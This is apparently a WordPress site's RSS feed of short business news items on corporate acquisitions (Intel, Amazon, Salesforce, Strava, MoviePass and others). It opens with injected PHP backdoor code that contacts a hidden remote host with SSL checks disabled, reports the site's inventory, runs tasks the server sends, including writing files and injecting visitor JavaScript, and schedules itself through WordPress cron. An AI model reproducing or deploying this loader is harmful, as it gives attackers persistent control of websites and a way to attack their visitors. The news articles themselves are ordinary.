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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); acquisitions – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 14 Jul 2018 22:40:44 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png acquisitions – Brief News https://briefnews.eu 32 32 HR tech is evolving quickly — more acquisitions are on the way https://briefnews.eu/hr-tech-is-evolving-quickly-more-acquisitions-are-on-the-way/ https://briefnews.eu/hr-tech-is-evolving-quickly-more-acquisitions-are-on-the-way/#respond Sat, 14 Jul 2018 22:40:44 +0000 http://briefnews.eu/hr-tech-is-evolving-quickly-more-acquisitions-are-on-the-way/

GUEST: Globally, HR technology is massive space, spanning everything from recruitment to performance reviews. One source pegs the value of this market at $ 400 billion. In the past two years, venture capital and private equity investors have poured close to $ 2 billion into this market, with more than $ 900 million of that in the first seven months of…Read More

]]> https://briefnews.eu/hr-tech-is-evolving-quickly-more-acquisitions-are-on-the-way/feed/ 0 Intel said it’s focusing on its recent acquisitions when asked if its considering a bid for Broadcom (INTC, BRCM) https://briefnews.eu/intel-said-its-focusing-on-its-recent-acquisitions-when-asked-if-its-considering-a-bid-for-broadcom-intc-brcm/ https://briefnews.eu/intel-said-its-focusing-on-its-recent-acquisitions-when-asked-if-its-considering-a-bid-for-broadcom-intc-brcm/#respond Sat, 10 Mar 2018 01:36:26 +0000 http://briefnews.eu/intel-said-its-focusing-on-its-recent-acquisitions-when-asked-if-its-considering-a-bid-for-broadcom-intc-brcm/ Intel CEO Brian KrzanichReuters/Rick Wilking

  • The Wall Street Journal reported Friday that Intel was mulling a bid for chip manufacturer Broadcom.
  • Intel said it does not comment on “rumors and speculation,” but added that its focused on its recent acquisitions.
  • Broadcom itself has a hostile takeover bid out for Qualcomm. 

Intel responded to a report that it is considering a possible bid for Broadcom by saying that it is focused on integrating previous acquisitions.

The Wall Street Journal reported on Friday that Intel was considering such a bid as one of several options in response to Broadcom’s hostile bid for Qualcomm.

See the rest of the story at Business Insider

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]]> https://briefnews.eu/intel-said-its-focusing-on-its-recent-acquisitions-when-asked-if-its-considering-a-bid-for-broadcom-intc-brcm/feed/ 0 MoviePass CEO Explains Company’s Plans for Acquisitions, Disses Netflix, and More https://briefnews.eu/moviepass-ceo-explains-companys-plans-for-acquisitions-disses-netflix-and-more/ https://briefnews.eu/moviepass-ceo-explains-companys-plans-for-acquisitions-disses-netflix-and-more/#respond Tue, 23 Jan 2018 21:53:50 +0000 http://briefnews.eu/moviepass-ceo-explains-companys-plans-for-acquisitions-disses-netflix-and-more/ MoviePass explains

Last Friday, the monthly theatrical subscription service MoviePass shook things up by announcing that it’s launched MoviePass Ventures, a subsidiary of the main company that will be teaming with other companies to co-acquire the distribution rights for independent films. And at the Sundance Film Festival this past weekend, the company’s CEO gave everyone a peek into his psyche by explaining his approach to acquisition and dissing Netflix, firing back at AMC, and even teasing a new MoviePass update for the company’s app.

Speaking with Deadline, CEO Mitch Lowe covered a wide range of talking points that we’ll sift through now. Here are the most important.

Deadline says MoviePass will basically split the cost of the minimum guarantee for a film with its acquisition partners when they sign a deal. “If it’s $ 4M, then we would put up $ 2M. Then we market the heck out of it and ensure that we sell a ton of tickets to the theatrical opening, and then we share with all the downstream revenue,” he said, alluding to the work they’ve already done marketing films like I, Tonya.

The company’s long-term future has been called into question before, but Lowe’s concentration on acquisitions stands to put even more money into the MoviePass coffers. When they earn some extra money on the back end of a theatrical release, some of that will immediately go back into buying in to the next project, which will then presumably make them money on the back end. Seems like a sound strategy to me, at least on paper.

Though the general consensus seems to be that MoviePass may not have a sustainable business model, Lowe doesn’t seem remotely fazed by that discussion. In fact, he fired back at AMC (who’s had some issues with the service in the past, but seems to be amiable now): “In an October earnings call, AMC said they were happy to take our money, but they don’t know how MoviePass is making money. My response is you’re the ones who had to borrow $ 4.5 billion. So, how are you making money?” Mic drop.

And when it comes to Netflix, the streaming service which Lowe co-founded, he says that the notion that Netflix is eating into the audience for theatrical films is flawed: “It’s wishful thinking. They (Netflix) just don’t get the idea that watching a comedy by yourself is not like the getting-out-of-the-house-experience.” Maybe it’s just me, but that seems a little reductive: it’s clear Netflix is aware of the value of theatrical presentation (since they put Mudbound in some theaters last year and have done so with a few of their other original features in years past), but I guess Lowe’s point is they haven’t done that with a straight-up comedy yet?

There are plenty of other fascinating tidbits in the full Deadline interview, including an analogy likening MoviePass members to customers at an all-you-can-eat buffet and analyzing their viewing habits. You can read the full piece here, but one thing’s clear: while people on the outside may be skeptical about MoviePass, they seem to be slowly positioning themselves as a bigger and bigger player in Hollywood. Maybe the smartest move here would be to not underestimate them based on their questionable customer service track record so far.

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]]> https://briefnews.eu/moviepass-ceo-explains-companys-plans-for-acquisitions-disses-netflix-and-more/feed/ 0 Strava’s CEO is ‘keeping a close eye on’ potential acquisitions https://briefnews.eu/stravas-ceo-is-keeping-a-close-eye-on-potential-acquisitions/ https://briefnews.eu/stravas-ceo-is-keeping-a-close-eye-on-potential-acquisitions/#respond Sat, 16 Dec 2017 10:15:34 +0000 http://briefnews.eu/stravas-ceo-is-keeping-a-close-eye-on-potential-acquisitions/ Strava CEO James QuarlesStrava

  • Strava’s CEO said he is watching his space to see if any interesting acquisitions come up.
  • He said his Strava’s board is very supportive.
  • One company that Strava may look to acquire is Zwift, which is a massively multiplayer online cycle training program.

Fast-growing activity tracking app Strava is keeping an eye out for potential acquisitions, according to the company’s CEO.

Strava is an app that has become wildly popular with fitness enthusiasts who wish to record their runs and bike rides. The app shows them how far they’ve been, where they went, and what activities their friends have been doing, among other things.

James Quarles, who took over as Strava’s CEO earlier this year after holding executive roles at Facebook and Instagram, told Business Insider that he is considering potential acquisitions in the next few years.

“We’re keeping a close eye on our space and looking for either teams or technologies that could help us accelerate us towards our vision,” he said. “I think our board are very supportive. If we could find something that qualifies in what we’re setting out to do in the next 2-3 years we would consider it but [there is] nothing in pursuit at the moment.”

One potential acquisition that might make sense for Strava is Zwift

One keen cyclist I know said he’d be interested to know whether Strava has any plans to acquire Zwift. [He’s a Zwift/Strava user himself.]

Zwift is a little like a giant social network for cyclists who are training indoors on their bikes. It’s become more popular with bike enthusiasts in recent months, who often share their Zwift rides to the Strava app.

Quarles didn’t rule out a Zwift acquisition when Business Insider asked him about it. Instead, he talked up the Zwift platform, which upped its prices from £7.99 to £12.99 a month in November.

“Zwift are a great partner of ours, you know, for several years now, giving people the opportunity when it’s cold and wet outside to come indoors with their training,” said Quarles.

“We’re also seeing a lot of people choose Zwift becuase it’s more convenient frankly during the week. You’re not taking the time to get all kitted out for an outdoor ride.”

In order to use Zwift, riders must connect their turbo — a machine that cyclists use to train indoors — to a power meter or bluetooth sensor that links to the Zwift app on their mobile, tablet, or computer.

Once this is done, riders can create an avatar in the app and kit them out with their favourite cycling gear and a dream bike, before entering virtual races against other Zwift users. The races take place in virtual worlds (Watopia, Richmond, and London [representations of both real and fantasy places] and they can be displayed on a TV in front of the turbo. Many riders link Zwift accounts to their Strava accounts to keep track of their training.

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Quarles added: “I think as we continue to expand from cycling to running and now from running into indoor, you’ll see a lot more partners like that, that don’t rely on the GPS track.”

Strava has raised $ 70 million (£52 million) from big name investors including Sequoia Capital, which has made a name for itself after spotting the potential of Apple and Google in their early days and investing in them. The company employs approximately 150 staff in San Francisco, with smaller teams in New Hampshire and Bristol, in the UK.

Zwift did not immediately respond to Business Insider’s request for comment.

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(Reuters) — Samsung Electronics’ $ 8 billion purchase of automotive and audio electronics company Harman has given the technology conglomerate confidence to chase more big deals, its strategy chief said on Friday.

Young Sohn, the South Korean company’s Silicon Valley-based president and chief strategy officer, said he was keen for world’s top maker of memory chips, smartphones and televisions to expand in automotive markets, digital health and industrial automation.

Samsung, which this year surpassed Intel to become the world’s biggest semiconductors manufacturer, has signaled its appetite for dealmaking over the past year, saying it was seeking businesses to build software and services to further differentiate its products.

However, it has provided few details on sectors it is targeting in its push for mergers and acquisitions.

“We are committed to using M&A as our tool, (and) I think the Harmon acquisition helped us to have more confidence,” Sohn told Reuters on the sidelines of the Slush tech start-up festival in Helsinki.

“I believe we can do lot more going forward.”

Sohn appeared to dismiss the potential for Samsung to take part in further consolidation in semiconductors or the smartphone markets, where it is also a leading player, suggesting the company is focused on organic growth strategies in these areas.

In September Sohn said Samsung aimed to become a major player in autonomous driving, building on its acquisition of auto parts supplier Harman and its pole position in mobile communications markets.

Asked to spell out Samsung’s potential dealmaking priorities for 2018, he said the company would continue to invest in expanding its automotive business.

Another category he singled out as “an area of opportunity” was digital health, specifically preventive health and related technologies.

Finally, in business software, he said Samsung is looking at companies in the areas of industrial internet, automation, networking, data transmission and security.

“We are a very careful and conservative company, so we will do it where it makes sense,” Sohn said, adding that it would also look for smaller bolt-on technology deals.

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]]> https://briefnews.eu/samsung-strategy-chief-wants-to-chase-more-big-acquisitions/feed/ 0 Secret Escapes raises $111 million to grow its luxury holiday marketplace through acquisitions https://briefnews.eu/secret-escapes-raises-111-million-to-grow-its-luxury-holiday-marketplace-through-acquisitions/ https://briefnews.eu/secret-escapes-raises-111-million-to-grow-its-luxury-holiday-marketplace-through-acquisitions/#respond Fri, 06 Oct 2017 09:19:34 +0000 http://briefnews.eu/secret-escapes-raises-111-million-to-grow-its-luxury-holiday-marketplace-through-acquisitions/

Secret Escapes, a members-only travel club that offers discounted luxury holidays, has closed a $ 111 million series D funding round led by Singapore-based investment firm Temasek, with participation from France’s Idinvest Partners.

Founded out of London in 2010 and launched a year later, Secret Escapes offers flash sales on four- and five-star hotels and breaks globally. Though it is members only, the service is free to join, and currently claims 47 million members around the world with 40 percent of those residing in the U.K.

Secret Escapes has now raise a little more than $ 150 million in outside funding since its inception, and its latest raise comes two years after a $ 60 million series C round which was led by Google’s venture capital arm, GV, and Octopus Ventures. The fresh cash injection constitutes a mix of equity and debt, with a contribution also made by Silicon Valley Bank (SVB), and it will be used to drive its global growth with acquisitions playing a big part.

“The cash injection of $ 111 million will enable Secret Escapes to achieve its vision to inspire the world to escape and to become the number one travel deals website in the world,” said Secret Escapes CEO Alex Saint. “The support and investment from Temasek, Idinvest Partners, and SVB will help us accelerate our mission through worldwide acquisitions.”

The company has made three known prior acquisitions, including Germany’s JustBook in 2014, the U.K.s MyCityVenue the same year, and the Czech Republic’s Slevomat two months ago.

The U.K. is something of hotbed of travel-related online services. Last year, TripAdvisor acquired London-based home-rental marketplace HouseTrip before China’s Ctrip.com went on to snap up Scotland’s travel search website Skyscanner for $ 1.74 billion. And earlier this year, Priceline doled out $ 550 million for travel search firm Momondo.

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]]> https://briefnews.eu/secret-escapes-raises-111-million-to-grow-its-luxury-holiday-marketplace-through-acquisitions/feed/ 0 Mergers and acquisitions often disappoint https://briefnews.eu/mergers-and-acquisitions-often-disappoint/ https://briefnews.eu/mergers-and-acquisitions-often-disappoint/#respond Thu, 05 Oct 2017 17:23:20 +0000 http://briefnews.eu/mergers-and-acquisitions-often-disappoint/ WHEN you are the chief executive of a public company, the temptation to opt for a merger or acquisition is great indeed. Many such bosses may get a call every week or so from an investment banker eager to offer the kind of deal that is sure to boost profits.

Plenty of those calls are proving fruitful. In the first three quarters of 2017, just over $ 2.5trn-worth of transactions were agreed globally, according to Dealogic, a data provider. The total was virtually unchanged from the same period in 2016, but the number in Europe, the Middle East and Africa was up by 21%.

It is easy to understand why an executive opts for a deal. Buying another business looks like decisive action, and is a lot easier than coming up with a new, best-selling product. Furthermore, being the acquirer is far more appealing than being the prey; better to be the butcher than the cattle. A takeover may keep activist hedge funds off the management’s back for a while longer. And being in charge of a much bigger company is a more demanding task that will surely justify (ahem) a larger salary for the executives in charge.

But these temptations, good and bad, should generally be resisted. S&P Global Market Intelligence, a research arm of the ratings agency, has updated a study on the impact of deals on the acquiring company’s share price. The study looked at M&A deals…

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Amazon revealed it was entering the grocery market in a big way today, with news that it plans to acquire Whole Foods Market for a whopping $ 13.7 billion.

But where does the deal sit on the grand scheme of Amazon acquisitions?

Well, the Whole Foods’ deal will represent Amazon’s biggest acquisition by quite some margin — more than ten times, as it happens. Here we take a quick peek at Amazon’s five biggest acquisitions of all time.

1. Whole Foods Market (2017): $ 13.7 billion

Amazon has made no secret of its desire to infiltrate the lucrative grocery market, having debuted its AmazonFresh grocery delivery service way back in 2007. Having expanded the initiative across the U.S., the company recently launched AmazoneFresh Pickup, which is essentially a drive-through grocery store for picking up your orders.

That Amazon was willing to pay nearly $ 14 billion for Whole Foods shows that Amazon knows that to compete effectively in the grocery market, it needs a local, prominent, on-the-ground presence — which is what it will have when this deal closes later in 2017.

2. Zappos (2009): $ 1.2 billion

Amazon’s previous biggest deal was online shoe retailer Zappos, which cost Amazon $ 1.2 billion in 2009, though the deal was originally valued at $ 807 million — the increase was due to a rise in Amazon shares between the deal being announced and it closing.

3. Twitch (2014): $ 970 million

Originally, Google was thought to be in the lead to buy game livestreaming company Twitch in 2014, but Amazon blindsided everyone by snapping up the company in a $ 970 million all-cash deal. This was Amazon’s second biggest acquisition of all time until today.

4. Kiva Systems (2012): $ 775 million

Amazon relies on its warehousing logistics technology, with automation playing a major part in the company’s ability to streamline operations. And this is why Amazon snapped up Kiva Systems for $ 775 million in 2012.

Amazon had been using Kiva Systems’ robotics and automation smarts in its fulfilment centers for years, so the acquisition really just confirmed how crucial its technology was to making Amazon tick.

5. Souq (2017): $ 650 million

Earlier this year, Amazon confirmed it had finalized a deal to buy Souq, which is basically the Middle East’s biggest ecommerce site — the “Amazon of the Middle East,” if you will. An official price was never announced for the deal, with anything from $ 580 million to $ 750 million touted, however $ 650 million seems to be the generally accepted value of the acquisition.

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When it comes to investments and acquisitions, Salesforce has made headlines lately for deals that didn’t happen. The company’s rebuffed $ 26 billion bid for LinkedIn last year and a run at Twitter that never got off the ground would have ranked by far as Salesforce’s largest deals.

But those non-deals overshadowed the things Salesforce has been doing, namely ramping up its venture capital investments to grow an ecosystem of partners as well as making the most acquisitions ever in its history last year. Even as Salesforce itself continues to grow organically, these aggressive moves are a sign of how the company continues to look beyond its own walls for how and where it might grow.

In a recent conversation, Alex Kayyal, European head for Salesforce Ventures, said nurturing an expanding ecosystem of partners and developers has become a critical part of the company’s success and strategy.

“Salesforce has been on a phenomenal growth trajectory,” he said. “But so much of what we do is partnering with others. And it’s just blown my mind to see the power of that ecosystem.”

Perhaps the most visible part of that ecosystem is the Salesforce App Exchange, which now has 15,000 apps that extend the company’s core platform. It is this rapidly growing ecosystem that research firm IDC dubbed the “Salesforce Economy” in a report last September. According to IDC, that ecosystem could be responsible for creating 1.9 million jobs by 2020 and contributing $ 389 million to global GDP.

To foster and continue that momentum, Salesforce has opened its wallet.

Salesforce Ventures was officially launched in 2011, but the company actually began making venture investments back in 2009. In a recent securities filing, Salesforce noted that it has minority investments in over 180 companies as of January 31, 2017. According to CB Insights, Salesforce is the third largest corporate VC, behind Google Ventures and Intel Capital.

The size of the investments reached such a point this past year that Salesforce felt the need to warn investors about the potential risks in its securities filings: “Because of the inherent risk in investing in early-to-late stage technology companies, our individual investments are subject to a risk of partial or total loss of investment capital.”

As part of that expanding portfolio, Salesforce announced a separate $ 100 million fund in 2015 to target European startups. Overall, the company has made 30 investments in Europe, including 15 in the 2 years since the fund was announced. Kayyal said that, in general, the company’s attention was drawn by the rapidly accelerating ecosystem in Europe and the emergence of numerous startup hubs across the continent.

“The pace and level of innovation we are seeing on this side of the pond is incredible,” he said. “And we’ve been really excited about the reception we’ve seen.”

Salesforce Ventures also looks primarily for companies that are doing some sort of cloud-based service, typically B2B. The emergence of a number of cloud-based startups in Europe was another reason the company decided to focus more effort here. And while the venture arm operates somewhat independently, it’s also aware of the company’s shifting priorities, such as a growing interest in artificial intelligence, Kayyal said.

In addition to the money, the company tries to foster a true sense of partnership between the portfolio companies, to create what Kayyal calls a “mesh.” And it’s also looking for companies that can get help it get into new markets or technologies. That was the case, for instance, with its investment last year in France’s IoT startup Sigfox, which is building a communications network for connected devices.

Over the past eight years, Salesforce has built a solid track record. It has seen 50 of its investments get acquired and 7 have IPOs. The VC investment is not necessarily a scouting operation for acquisitions, however. Salesforce makes it clear that any of its companies are free to pursue any attractive offers.

That said, it has acquired a handful of its investments. And in general, Salesforce has also been making more M&A deals. Last year was the biggest in its history.

Those acquisitions in 2016 included:

  • SteelBrick, which develops apps to automate the quote-to-cash process, for an undisclosed sum.
  • MetaMind, which developed natural language processing and image recognition for cloud services, for an undisclosed sum.
  • BeyondCore, which made tools to analyze structured data sources, for an undisclosed sum.
  • Demandware, which expanded its position in CRM and pursue the digital commerce market, for $ 2.9 billion.
  • Quip, Inc., which developed productivity tool, for $ 412.0 million.
  • Krux Digital, Inc., which created a data management platform, for $ 741.8 million.

Before 2016, Salesforce’s biggest deal was for ExactTarget in 2014 for $ 2.5 billion.

All this speaks to the company’s growing appetite and ambition. Its ability to balance these expanding investments and digest these acquisitions may determine whether Salesforce can succeed in striking in a balance that few maturing companies manage to find: Maintain an innovative culture, continue to grow its core services, and be ready to adapt as markets and technologies evolve in sometimes sudden and expected ways.

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]]> https://briefnews.eu/salesforce-looks-for-a-future-beyond-its-walls-with-rising-vc-investments-and-acquisitions/feed/ 0 Intel’s 5 biggest acquisitions of all time https://briefnews.eu/intels-5-biggest-acquisitions-of-all-time/ https://briefnews.eu/intels-5-biggest-acquisitions-of-all-time/#respond Mon, 13 Mar 2017 15:38:20 +0000 http://briefnews.eu/intels-5-biggest-acquisitions-of-all-time/ Intel 7th Generation Core processors

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Intel announced today that it’s paying a whopping $ 15.3 billion to acquire Mobileye, a computer vision firm specializing in autonomous cars. The gargantuan deal highlights the growing demand for self-driving car technology, but where does it sit compared to other technology acquisitions? And, more specifically, Intel’s other acquisitions?

Ignoring AOL’s $ 106 billion purchase of Time Warner back in 2001, given that Time Warner wasn’t strictly a technology company, the biggest tech-only acquisition to date was back in 2015 when Dell acquired data storage giant EMC in a deal worth $ 67 billion, the same year that Avago bought rival chipmaker Broadcom for $ 37 billion. And last year SoftBank shelled out $ 32 billion for U.K.-based chipmaker ARM, while Microsoft spent $ 26 billion on the giant resume database that is LinkedIn.

Elsewhere, U.S. computing giant Hewlett-Packard shelled out $ 18.6 billion in a merger with Compaq back in 2002, which was the biggest tech acquisition until Facebook snapped up WhatsApp for $ 19 billion back in 2014. Intel’s $ 16.75 billion acquisition of Altera in 2015 (see below) is the seventh biggest tech acquisition of all time, followed by the Mobileye deal.

Intel has made dozens of acquisitions throughout its history, many in the hundreds of millions, but only five have been more than $ 1 billion — here’s a quick look back at them. Please note, we haven’t adjusted these figures for inflation.

1. Altera (2015): $ 16.75 billion

Intel confirmed its $ 16.75 billion Altera acquisition on June 1, 2015. Altera specializes in configurable field programmable gate arrays (FPGAs), which are basically chips that can be programmed for different uses after manufacturing. They had become more popular within servers, and with the decline in PC demand, represented a refocusing of its efforts on cloud computing.

2. Mobileye (2017): $ 15.3 billion

Mobileye develops the visual smarts behind cars’ driving assistance systems. Intel has made no secret of its interests in autonomous vehicles, and had already partnered with Mobileye on other projects.

3. McAfee (2010): $ 7.68 billion

Intel paid a hefty $ 7.68 billion to acquire security software giant McAfee back in 2010, a deal that “reflects that security is now a fundamental component of online computing,” according to a company statement at the time. Intel is currently in the process of spinning out McAfee, which has since become known as Intel Security, as an independent company. This is of a broader restructuring that will see Intel focus on data centers and the Internet of Things (IoT).

4. Infineon Technologies (2010): $ 1.4 billion

Eleven days after buying McAfee, Intel paid $ 1.4 billion to acquire Infineon’s mobile chip business. Smartphones were the emerging computing platform of the time, and the deal represented Intel’s desire to evolve with the times.

5. Giga (2000): $ 1.25 billion

Way back in the dawdling days of dial-up, Intel forked out $ 1.25 billion for Denmark’s Giga, a company specializing in high-performance networking chips. Given that the internet was still growing at breakneck speed, this deal represented a forward-looking move by Intel to support the emerging speedy internet.

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